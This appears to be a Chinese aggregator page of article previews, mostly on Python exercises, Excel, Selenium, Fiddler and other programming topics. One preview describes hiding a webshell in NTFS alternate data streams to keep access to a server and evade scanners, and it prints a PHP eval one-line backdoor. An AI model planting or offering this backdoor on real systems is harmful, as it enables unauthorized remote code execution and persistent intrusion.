题目:利用列表隐藏并找到有用的信息 (1) 描述 1) 题源 鱼 C 论坛中"小甲鱼"老师出的题 链接地址:第020讲:函数:内嵌函数和闭包 | 课后测试题及答案 2) 修改 题中带有一条极长的字符串,不方便写在此随笔中 我自己心血来潮,将此题改了改 具体见下方要求 (2) 要求 已知 2 个列表与 1 个字符串: list1 = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')'] list2 = [] str1 = "…
Excel列表部分列表隐藏与取消隐藏 2014-2-19 隐藏:选中需要隐藏的列(选中A.B.C....),右键单击所选部分,选择"隐藏"即可. 取消隐藏:从A选中至所见表格最后的列,如G,最好所选内容包含了整个所见表格,右键单击所选部分,选择"取消隐藏"即可. PS:Ctrl + A选中整个表格的方式不能取消隐藏,关键是要从列标签来选.…
看题:给出d = [True, False, True, False, True],请利用列表d,只用一句话返回列表[0,2,4] 这道题的关键是拿到True的索引值,最初我是用list的index方法搭配高阶函数filter来解的,但是我忽略了index只能拿到第一个True的索引(也就是0).这道题在网上还没有答案,于是我去搜如何拿到如何拿到相同值得索引并受到启发,于是想到了下面三个方法.如果大家有不同的解法,也请在留言中回复,大家一起交流,共同进步.…
python3 三元表达式,列表解析 三元表达式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 x=2 y=3   if x > y:     print(x) else:     print(y)     res='aaaaa' if x > y else 'bbbbbbb'     #三元表达式 print(res)     def max2(x, y): #     if x > y: #         return…
0X01 前言 未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法. 0X02 利用ADS隐藏webshell 关于ADS的介绍,就不再阐述,详见尾部参考资料. PHP 一句话木马:<?php @eval($_POST['chopper']);?>,当然也可以直接制作免杀PHP一句话,毕竟PHP千变万化,从变量,数组,赋值,运算,函数等,各种变种... 制作步骤一:创建ADS隐藏文件 在服务器上…
Python3 简单的三级列表思路(初学者 比较low) 代码如下: info = { '北京':{ '沙河':['benz','momo'], '朝阳':['北土城','健德门'], '国贸':['女明星','HP'] }, '山东':{}, '广东':{} } while True: for i in info: print(i) user_choice = input('please input your choice>>>').strip() if user_choice in…
[Python]机器学习之单变量线性回归 利用批量梯度下降找到合适的参数值 本题目来自吴恩达机器学习视频. 题目: 你是一个餐厅的老板,你想在其他城市开分店,所以你得到了一些数据(数据在本文最下方),数据中包括不同的城市人口数和该城市带来的利润.第一列是城市的人口数,第二列是在这个城市开店所带来的利润数. 现在,假设一开始θ0和θ1都是0,利用梯度下降的方法,找到合适的θ值,其中学习速率α=0.01,迭代轮次为1000轮 上一个文章里,我们得出了CostFunction,即损失函数. 现在我们需…
Python3 三元表达式.列表推导式.生成器表达式 三元表达式 表达式中,有三个元素 name = input("请输入姓名: ")ret = '输入正确' if name == 'aaa' else '输入错误'print(ret)  列表推导式 #1.示例# 方法1egg_list1 = []for i in range(10): egg_list1.append('鸡蛋%s' % i)print(egg_list1) #方法2egg_list2 = ['鸡蛋%s' %i for…
利用itchat给女朋友定时发信息 涉及到的技术有itchat,redis,mysql,最主要的还是mysql咯,当然咯,这么多东西,我就只介绍我代码需要用到的,其他的,如果需要了解的话,就需要看参考资料了哟 实现的功能:1.可以保存微信的消息,包括群聊和好友(文字/视频/语音/图片)2.在群里@自己,可以调用图灵机器人的API进行文字回复(类似于机器人)3.调用定时任务,在指定时间发送消息至某人 需要了解的基础:1.python基础2.mysql基础3.redis基础 实现效果如下: 只需要在…
Saiku设置展示table数据不隐藏空的行数据信息 saiku有个 非空的字段 按钮,点击这个后,会自动的把空的行数据信息给隐藏掉,这里我们来设置一下让其行数据不隐藏,为空的就为空. 主要更改两个文件 1. Query.js    文件路径: /saiku-ui/js/saiku/models/Query.js  (如果是编译好的saiku,请找到 saiku-server\tomcat\webapps\ROOT\js\saiku\models\Query.js  ) 2. SaikuTabl…
有时候,为了给前端页面输出内容,有时候我们需要准备和数据库不一样的实体信息,因为数据库可能记录的是一些引用的ID或者特殊字符,那么我们为了避免前端单独的进行转义处理,我们可以在后端进行统一的格式化后再行输出,后端处理可以采用不同的DTO尸体信息,后端对不同的实体进行映射处理即可,也可以采用同一个实体,在SqlSugar实体信息中忽略对应的字段写入实现,本篇随笔介绍后者的处理方式,实现在在工作流列表页面中增加一些转义信息的输出处理. 1.后端的转义处理 大多数页面,我们的前端显示信息DTO和后端的…
一.  Selenium和PhantomJS介绍 Selenium是一个用于Web应用程序测试的工具,Selenium直接运行在浏览器中,就像真正的用户在操作一样.由于这个性质,Selenium也是一个强大的网络数据采集工具,其可以让浏览器自动加载页面,这样,使用了异步加载技术的网页,也可获取其需要的数据. Selenium模块是Python的第三方库,可以通过pip进行安装: pip3 install selenium Selenium自己不带浏览器,需要配合第三方浏览器来使用.通过help命…
实现方式1: <!DOCTYPE html><html><head>    <meta charset="UTF-8">    <title></title>      <script src = 'jquery-1.9.1.js'></script>        <script language="javascript" type="text/java…
需求描述:页面中有两个列表,一个已添加,一个可以添加,进入页面的时候,如果已添加中有数据则显示,没有数据就隐藏,emmmm,这种需求,我该怎么吐槽嗷嗷嗷 解决思路:让已添加的列表的div默认隐藏,前台接收后台传递过来的标志(该标志是已添加列表是否有数据),如果有,就把已添加列表的div设置为显示 代码: //html代码<div class="row" id="tableDivOne" style="display: none;">…
1.什么是Fiddler? Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件). Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式.同类的工具有: httpwatch, firebug, wireshark. Fiddler使用,参考:https://www.cnblogs.com/miantes…
num_list = [11,2,-33,10,7,3,5,43] 1.filter  函数 获取num_list大于5的元素,并返回列表 用lambda表达式实现: # 在python2 中 filter返回的是一个列表,可以用for遍历 # 在python3 中 filter返回的是一个filter对象,可以用for遍历,也可以用list转换为列表 list2 = list(filter(lambda x: x>5, num_list)) print(list2) #输出:[11, 10,…
#!/usr/bin/python3 #False,0,'',[],{},()都可以视为假 m1=[] m2={} m3=() m4={"name":1,"age":2} #也可用if not m1:print("m1不是列表") if m1: print("m1是列表") else: print("m1不是列表") if m2: print("m2是字典") else: print(&…
在做 Web Application 时,因为 Web Project 有 session 自动失效的问题,所以如何让用户登录一次系统就能长时间运行三个月,就是个问题. 后来,看到 session 失效的拦截器代码,就猜想能否通过拦截器来实现. 查资料发现可行:用户登录时将帐号密码存入cookie,cookie可以存储1年至更久,当session失效被拦截时,在拦截器内读取cookie 中的用户名和密码后再登录.(登录过程隐藏对用户不可见). 在实践过程中遇到个问题: 在拦截器内重新实现登录过程…
我的环境是Ubuntu 16.04,系统自带Python2和Python3 安装 pip3 install pyinstaller 发布exe pyinstaller -F helloworld.py 其中,-F 表示打包成单独的 .exe 文件,这时生成的 .exe 文件会比较大,而且运行速度回较慢.仅仅一个 helloworld 程序,生成的文件就 5MB 大. 另外,使用 -i 还可以指定可执行文件的图标: -w 表示去掉控制台窗口,这在 GUI 界面时非常有用.不过如果是命令行程序的话那…
1.初识列表 列表(List)是Python3中的"容器型"数据类型. 列表通过中括号把一堆数据括起来的方式形成,列表的长度不限. 列表里面的元素可以是不同的数据类型,但是一般是相同的数据类型. nums = [1,3,5,7,9,11,13,15] user_info = ["jack", 18, "male"] ==列表支持索引(index)和切片(silice)的方式访问其中的元素==. #demo1:索引 nums = [1,3,5,7,…
前面的课程,我们了解了Python 语言的学习方法,并且带你了解了 Python 必知的常用工具——Jupyter.接下来我们正式学习 Python 的具体知识. 对于每一门编程语言来说,数据结构都是其根基.了解掌握 Python 的基本数据结构,对于学好这门语言至关重要.今天我们就一起来学习,Python 中最常见的两种数据结构:列表(list)和元组(tuple). 一.列表和元组基础 首先,我们需要弄清楚最基本的概念,什么是列表和元组呢? 实际上,列表和元组,都是一个可以放置任意数据类型的…
看到一篇文章讲述了通过设置 DACL 隐藏 Windows 服务信息,便做一下总结. 技术原理 系统中每个 Service 在 Windows 中属于都一种对象(Object),用户在访问对象时的权限会被和对象绑定的安全描述信息(Security Descriptors)所限定,例如 修改.删除.读写等权限. 既然 Service 也是一种对象,那么也可以通过某种方式对服务的安全描述信息进行适当的修改,使某一类用户无法查看.修改该服务的信息以及停止删除服务. 安全描述信息结构与设置方式 经 MS…
方法一: option explicitdim wshshellset wshshell=wscript.createobject("wscript.shell")wshshell.run "c:\1.txt",0,true 方法二: option explicit dim ws set ws=wscript.createobject("wscript.shell")ws.run "c:=\1.txt /start",0上述两…
列表对象内建函数 1. append(obj) 在列表的末尾添加新元素obj.例: >>> a = ['a', 'b', 'c'] >>> a.append('d') >>> a ['a', 'b', 'c', 'd'] 2. count(obj) 统计obj元素在列表出现的次数.例: >>> [2, 4, 2, 3, 9, 2, 8, 2].count(2) 4 3. extend(seq) 将seq序列追加到该列表的末尾. 例:…
假设有个网页http://www.example.com/index.html或者http://www.example.com/index.php.如果我们想要隐藏.html后缀或者.php后缀,那么就可以利用到.htaccess文件.由于Apache和Nginx的.htaccess语法不同,这里提供2种方法.首先新建名为.htaccess文件,windows下新建方法为输入.htaccess.就会变成.htaccess. 一.Apache1. 隐藏.html后缀在.htaccess文件输入如下…
镇场诗:---大梦谁觉,水月中建博客.百千磨难,才知世事无常.---今持佛语,技术无量愿学.愿尽所学,铸一良心博客.------------------------------------------ 1 code aList=[1,2,3,4,[5,6]] result=5 not in aList print(result) 注:列表中的列表,in 不支持查询的 2 show ------------------------------------------博文的精髓,在技术部分,更在镇场…
html: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Conte…
Python中的变量不需要声明.每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建.在Python中,变量就是变量,它没有类型,我们所说的"类型"是变量所指的内存中对象的类型.内置的type()函数可以用来查询变量所指的对象类型.Python 3中有六个标准的数据类型: Number(数字) String(字符串) List(列表) Tuple(元组) Sets(集合) Dictionary(字典) 一.列表 一组有序项目的集合.可变的数据类型[可进行增删改查] 列表是以方括号&…
# [Python练习题 009] 打印出所有的“水仙花数”,所谓“水仙花数”是指一个三位数,# 其各位数字立方和等于该数本身.例如:153是一个“水仙花数”,# 因为153=1的三次方+5的三次方+3的三次方.# ----------------------------------------------------------------------# 把任意三位数的百位.十位.个位拆解出来就好办了.# 思路:将任意3位数除以100再向下取整,# 即可得到百位数.将这个3位数减去(百位数*1…
1.安装python3.7https://www.python.org/downloads/release/python-370/选择了这个版本,直接默认下一步 2.安装pipcurl https://bootstrap.pypa.io/get-pip.py -o get-pip.pypython get-pip.py 3.安装谷歌浏览器及谷歌驱动谷歌浏览器chrome69.0.3497.100 安装谷歌浏览器驱动http://chromedriver.storage.googleapis.co…